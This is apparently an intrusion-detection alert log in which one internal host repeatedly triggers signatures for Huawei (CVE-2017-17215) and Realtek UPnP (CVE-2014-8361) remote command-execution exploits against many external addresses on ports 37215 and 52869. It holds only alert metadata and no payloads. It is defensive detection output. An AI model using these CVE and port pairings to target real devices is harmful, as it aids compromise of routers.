ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.78.34.31

Timestamp:	07/20/24-23:01:05.905239
SID:	2835222
Source Port:	34710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.7.12.7

Timestamp:	07/20/24-23:01:22.792727
SID:	2829579
Source Port:	36880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 138.51.234.253

Timestamp:	07/20/24-23:01:19.227177
SID:	2829579
Source Port:	60994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.48.141.155

Timestamp:	07/20/24-23:01:11.456952
SID:	2835222
Source Port:	55058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 197.234.206.236

Timestamp:	07/20/24-23:01:25.042093
SID:	2027339
Source Port:	47050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.84.150.154

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	35910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.155.178.232

Timestamp:	07/20/24-23:01:33.059039
SID:	2835222
Source Port:	37818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 191.59.144.253

Timestamp:	07/20/24-23:01:22.620765
SID:	2025132
Source Port:	58196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.201.189

Timestamp:	07/20/24-23:01:28.196416
SID:	2835222
Source Port:	39888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.85.14.252

Timestamp:	07/20/24-23:01:14.399761
SID:	2829579
Source Port:	58060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 43.85.108.87

Timestamp:	07/20/24-23:01:34.936611
SID:	2831300
Source Port:	51584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.79.69

Timestamp:	07/20/24-23:01:33.030189
SID:	2829579
Source Port:	33230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.32.53.131

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	45390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.207.26.87

Timestamp:	07/20/24-23:01:22.776061
SID:	2829579
Source Port:	40228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.55.246.209

Timestamp:	07/20/24-23:01:28.180178
SID:	2829579
Source Port:	60750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 142.57.44.204

Timestamp:	07/20/24-23:01:19.222378
SID:	2829579
Source Port:	42722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.16.157.164

Timestamp:	07/20/24-23:01:25.284909
SID:	2835222
Source Port:	57018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 180.84.13.38

Timestamp:	07/20/24-23:01:35.095222
SID:	2027339
Source Port:	45482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.83.123.25

Timestamp:	07/20/24-23:01:02.444792
SID:	2829579
Source Port:	49006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 49.217.12.33

Timestamp:	07/20/24-23:01:05.855422
SID:	2027339
Source Port:	51692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 93.150.15.52

Timestamp:	07/20/24-23:01:24.474342
SID:	2025132
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.154.180.60

Timestamp:	07/20/24-23:01:33.038711
SID:	2835222
Source Port:	43518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.9.245.89

Timestamp:	07/20/24-23:01:25.295701
SID:	2829579
Source Port:	55254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 52.29.198.133

Timestamp:	07/20/24-23:01:25.480893
SID:	2027339
Source Port:	41230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 40.39.6.95

Timestamp:	07/20/24-23:01:33.300499
SID:	2025132
Source Port:	58088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.191.90.153

Timestamp:	07/20/24-23:01:37.122769
SID:	2835222
Source Port:	54894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.138.60

Timestamp:	07/20/24-23:01:22.787765
SID:	2829579
Source Port:	37474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 37.157.73.197

Timestamp:	07/20/24-23:01:24.078342
SID:	2831300
Source Port:	42088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.213.239.66

Timestamp:	07/20/24-23:01:25.293652
SID:	2829579
Source Port:	43452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 90.146.163.93

Timestamp:	07/20/24-23:01:13.334388
SID:	2831300
Source Port:	56612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.65.98.19

Timestamp:	07/20/24-23:01:02.408597
SID:	2829579
Source Port:	42312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.4.235

Timestamp:	07/20/24-23:01:02.408227
SID:	2835222
Source Port:	42576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 216.194.71.61

Timestamp:	07/20/24-23:01:28.216939
SID:	2835222
Source Port:	49386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.211.129.206

Timestamp:	07/20/24-23:01:28.370423
SID:	2835222
Source Port:	54788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 31.171.131.217

Timestamp:	07/20/24-23:01:29.710885
SID:	2025132
Source Port:	41234
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.163.84.245

Timestamp:	07/20/24-23:01:14.397066
SID:	2829579
Source Port:	33072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.74.194

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	37038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.169.209.192

Timestamp:	07/20/24-23:01:25.230443
SID:	2829579
Source Port:	46506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.176.87.202

Timestamp:	07/20/24-23:01:33.050087
SID:	2835222
Source Port:	40538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 139.72.178.53

Timestamp:	07/20/24-23:01:30.599672
SID:	2025132
Source Port:	57398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 218.196.239.193

Timestamp:	07/20/24-23:01:34.952293
SID:	2831300
Source Port:	32922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 37.110.59.42

Timestamp:	07/20/24-23:01:02.408227
SID:	2835222
Source Port:	55730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 116.213.32.189

Timestamp:	07/20/24-23:01:02.414850
SID:	2835222
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 5.108.28.159

Timestamp:	07/20/24-23:01:06.290419
SID:	2027339
Source Port:	48978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 193.243.213.199

Timestamp:	07/20/24-23:01:34.923386
SID:	2027339
Source Port:	36400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.99.193

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	47002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.58.163.206

Timestamp:	07/20/24-23:01:37.121166
SID:	2829579
Source Port:	37200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.100.110

Timestamp:	07/20/24-23:01:07.676384
SID:	2835222
Source Port:	38528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 94.216.126.93

Timestamp:	07/20/24-23:01:25.301934
SID:	2025132
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.68.225.116

Timestamp:	07/20/24-23:01:06.253709
SID:	2027339
Source Port:	33458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 20.29.209.66

Timestamp:	07/20/24-23:01:14.397228
SID:	2829579
Source Port:	49028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.23.60

Timestamp:	07/20/24-23:01:02.408595
SID:	2829579
Source Port:	38436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.181.74.25

Timestamp:	07/20/24-23:01:19.220875
SID:	2829579
Source Port:	55450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 75.209.239.5

Timestamp:	07/20/24-23:01:24.999208
SID:	2027339
Source Port:	43606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 82.44.225.133

Timestamp:	07/20/24-23:01:13.329142
SID:	2831300
Source Port:	58330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 183.162.94.65

Timestamp:	07/20/24-23:01:25.203753
SID:	2025132
Source Port:	51624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 128.88.211.196

Timestamp:	07/20/24-23:01:29.175082
SID:	2027339
Source Port:	37626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.65.113

Timestamp:	07/20/24-23:01:22.772933
SID:	2829579
Source Port:	39096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.178.122

Timestamp:	07/20/24-23:01:33.071289
SID:	2829579
Source Port:	37406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.197.36

Timestamp:	07/20/24-23:01:05.906603
SID:	2835222
Source Port:	34066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 41.37.91.19

Timestamp:	07/20/24-23:01:34.911761
SID:	2831300
Source Port:	52292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 147.31.96.80

Timestamp:	07/20/24-23:01:23.070940
SID:	2027339
Source Port:	59694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 52.155.86.86

Timestamp:	07/20/24-23:01:02.411166
SID:	2829579
Source Port:	37174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 46.8.125.37

Timestamp:	07/20/24-23:01:34.105180
SID:	2027339
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.165.26.56

Timestamp:	07/20/24-23:01:25.291116
SID:	2829579
Source Port:	43250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 52.29.198.133

Timestamp:	07/20/24-23:01:29.171690
SID:	2831300
Source Port:	41804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.111.0.243

Timestamp:	07/20/24-23:01:25.293290
SID:	2829579
Source Port:	36468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 155.83.108.84

Timestamp:	07/20/24-23:01:33.040754
SID:	2829579
Source Port:	33802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 119.229.5.254

Timestamp:	07/20/24-23:01:29.504220
SID:	2027339
Source Port:	57614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.234.173.201

Timestamp:	07/20/24-23:01:14.401003
SID:	2835222
Source Port:	54202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 106.0.79.225

Timestamp:	07/20/24-23:01:29.172029
SID:	2831300
Source Port:	54984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 110.189.251.29

Timestamp:	07/20/24-23:01:33.475941
SID:	2025132
Source Port:	34302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.219.107.170

Timestamp:	07/20/24-23:01:29.176022
SID:	2027339
Source Port:	48410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 220.158.230.42

Timestamp:	07/20/24-23:01:13.330389
SID:	2831300
Source Port:	33388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 149.126.253.193

Timestamp:	07/20/24-23:01:24.075555
SID:	2831300
Source Port:	47570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 2.46.59.12

Timestamp:	07/20/24-23:01:06.319207
SID:	2025132
Source Port:	51760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.12.65

Timestamp:	07/20/24-23:01:05.897173
SID:	2835222
Source Port:	41138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 204.86.40.252

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	48328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 91.137.254.120

Timestamp:	07/20/24-23:01:34.910407
SID:	2831300
Source Port:	45608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 202.94.49.200

Timestamp:	07/20/24-23:01:34.914910
SID:	2027339
Source Port:	54968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.178.194.185

Timestamp:	07/20/24-23:01:32.359729
SID:	2027339
Source Port:	56644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.252.136

Timestamp:	07/20/24-23:01:11.459583
SID:	2835222
Source Port:	45740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.27.120.50

Timestamp:	07/20/24-23:01:19.227177
SID:	2835222
Source Port:	57666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.33.244

Timestamp:	07/20/24-23:01:33.081951
SID:	2829579
Source Port:	40114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 38.32.235.210

Timestamp:	07/20/24-23:01:06.667915
SID:	2027339
Source Port:	49462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 128.98.160.122

Timestamp:	07/20/24-23:01:13.329717
SID:	2027339
Source Port:	60690
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.143.9.246

Timestamp:	07/20/24-23:01:22.804406
SID:	2829579
Source Port:	37920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 128.10.172.66

Timestamp:	07/20/24-23:01:29.555558
SID:	2025132
Source Port:	34830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.94.215.195

Timestamp:	07/20/24-23:01:28.142946
SID:	2829579
Source Port:	35634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.193.64

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	57240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 155.24.113.226

Timestamp:	07/20/24-23:01:29.169445
SID:	2027339
Source Port:	53600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 98.8.145.55

Timestamp:	07/20/24-23:01:29.185354
SID:	2831300
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 37.186.199.96

Timestamp:	07/20/24-23:01:33.631018
SID:	2027339
Source Port:	35436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.150.115.134

Timestamp:	07/20/24-23:01:25.383199
SID:	2027339
Source Port:	37740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 148.132.169.125

Timestamp:	07/20/24-23:01:34.909518
SID:	2027339
Source Port:	43928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 198.58.137.77

Timestamp:	07/20/24-23:01:34.900321
SID:	2027339
Source Port:	47188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 89.251.44.55

Timestamp:	07/20/24-23:01:34.928965
SID:	2831300
Source Port:	57576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.180.195.47

Timestamp:	07/20/24-23:01:02.415804
SID:	2835222
Source Port:	57010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.235.84.11

Timestamp:	07/20/24-23:01:19.334468
SID:	2829579
Source Port:	37504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.23.204.217

Timestamp:	07/20/24-23:01:29.172557
SID:	2027339
Source Port:	43476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 148.29.0.19

Timestamp:	07/20/24-23:01:05.920528
SID:	2835222
Source Port:	45614
Destination Port:	37215
Protocol:	TCP
